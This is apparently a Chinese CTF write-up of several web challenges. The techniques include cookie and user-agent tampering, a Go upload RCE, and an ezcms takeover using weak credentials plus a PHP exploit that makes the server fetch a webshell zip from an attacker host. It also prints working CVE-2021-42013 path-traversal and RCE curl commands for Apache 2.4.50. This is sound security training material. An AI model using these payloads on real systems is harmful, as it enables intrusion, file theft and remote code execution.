Power Cookie
开启环境后,我们发现了一个 login by GUEST
我们对其进行抓包 根据提示:只有admin才可以获取flag
更改cookie为admin=1 得到flag
魔法浏览器
在网站源码里,发现了一串 hex编码 对其解码
let ua = "\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35";
console["\x6c\x6f\x67"]
string="\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30 \x28\x57\x69\x6e\x64\x6f\x77\x73 \x4e\x54 \x31\x30\x2e\x30\x3b \x57\x69\x6e\x36\x34\x3b \x78\x36\x34\x29 \x41\x70\x70\x6c\x65\x57\x65\x62\x4b\x69\x74\x2f\x35\x33\x37\x2e\x33\x36 \x28\x4b\x48\x54\x4d\x4c\x2c \x6c\x69\x6b\x65 \x47\x65\x63\x6b\x6f\x29 \x4d\x61\x67\x69\x63\x2f\x31\x30\x30\x2e\x30\x2e\x34\x38\x39\x36\x2e\x37\x35"
#Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Magic/100.0.4896.75
print(string)
#log
print("\x6c\x6f\x67")
更改user-Agent 为 得到的浏览器
得到flag
getme
没有信息,源码里有一个:pwd:/usr/local/apache2/
抓包后在返回包信息中得到 server版本为 Apache/2.4.50 (Unix)
搜索后可知是 CVE-2021-42013
参考:Apache HTTP Server 2.4.50 中的路径遍历和文件泄露漏洞 (CVE-2021-42013)
漏洞利用poc:
curl -v --path-as-is 目标地址:端口/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
查看任意文件:
证明存在此漏洞。
目标服务器开启cgi或者cgid时候,可以命令执行
curl -v --data "echo;命令" '目标地址:端口/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
我们查看一下日志,看看有没有flag信息:
在日志中发现了flag的信息
这个是假的flag,那么看看下面的那个fffffflalllallalagggggggggg
我们请求一下这个fffffflalllallalagggggggggg,得到flag
hackeme
知识点:golang、文件上传、rce
一道go的题目,对这方面不太了解,不过这道题还是比较简单的go
可以点击,点进去 之后是一个list
挨个点击可以获得一些对应的文件和回显
whoami :"root<br>"
whereami:"/home/main<br>"
uptime:" 14:29:19 up 2 min, 0 users, load average: 11.68, 13.99, 13.58<br>"
flag:DASCTF{THIS_IS_FAKE_FLAG}<br>
但是users文件不存在
所有需要我们上传一个users.go文件,然后其执行,我们访问users,会返回文件执行结果
我们搜索一个执行命令的go文件
/目录下执行 ls -l命令 发现了flag
更改users.go文件的命令,再上传 执行 cat /flag 得到flag
cmd := exec.Command("cat", "/flag")
ezcms
打开发现是一个漫城cmd,在url里加上/admin.php进入登陆窗口
弱口令:用户名:admin 密码:123456
在ezcms\sys\apps\controllers\admin
目录下,注意其中的Update.php
在Update.php中,会去根据GET方式传的url,下载远程的zip包
然后将压缩包解压,将里面的文件放在我们能访问到的目录下,所以可以传一个木马
但是需要用到sys_auth
函数的对我们传入的字符串进行解密为http://ip//a.zip
这样的格式,然后才进行下载
这个sys_auth
函数不能单独
直接在本地使用,因为其中有个Mc_Encryption_Key
全局变量
跟进得到
Mc_Encryption_Key
的值//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
最后直接赋值sys_auth函数作为加密构筑即可。
提前在vps放上a.zip,a.zip中放入我们的php一句话木马 密码为1vxyz
最终exp
<?php
//encryption_key密钥
define('Mc_Encryption_Key','GKwHuLj9AOhaxJ2');
//字符加密、解密
function sys_auth($string, $type = 0, $key = '', $expiry = 0) {
if(is_array($string)) $string = json_encode($string);
if($type == 1) $string = str_replace('-','+',$string);
$ckey_length = 4;
$key = md5($key ? $key : Mc_Encryption_Key);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($type == 1 ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $type == 1 ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
if($type == 1) {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
$result = substr($result, 26);
$json = json_decode($result,1);
if(!is_numeric($result) && $json){
return $json;
}else{
return $result;
}
}
return '';
}
return str_replace('+', '-', $keyc.str_replace('=', '', base64_encode($result)));
}
$url = "http://ip/123.zip";
echo(sys_auth($url));
之后生成的内容构筑访问update路由
http://5f1c9781-1871-4704-9f2f-0849aaf63a0b.node4.buuoj.cn:81/admin.php/update?url=c161kf-iJGQKAh8zQ4x8mh4-4nac-kgKhpwhj614UiYTKmre2zJKeCbneb4WN-lmlypF4SP0JUg
最后访问http://5f1c9781-1871-4704-9f2f-0849aaf63a0b.node4.buuoj.cn:81/a.php
flag在根目录下 得到flag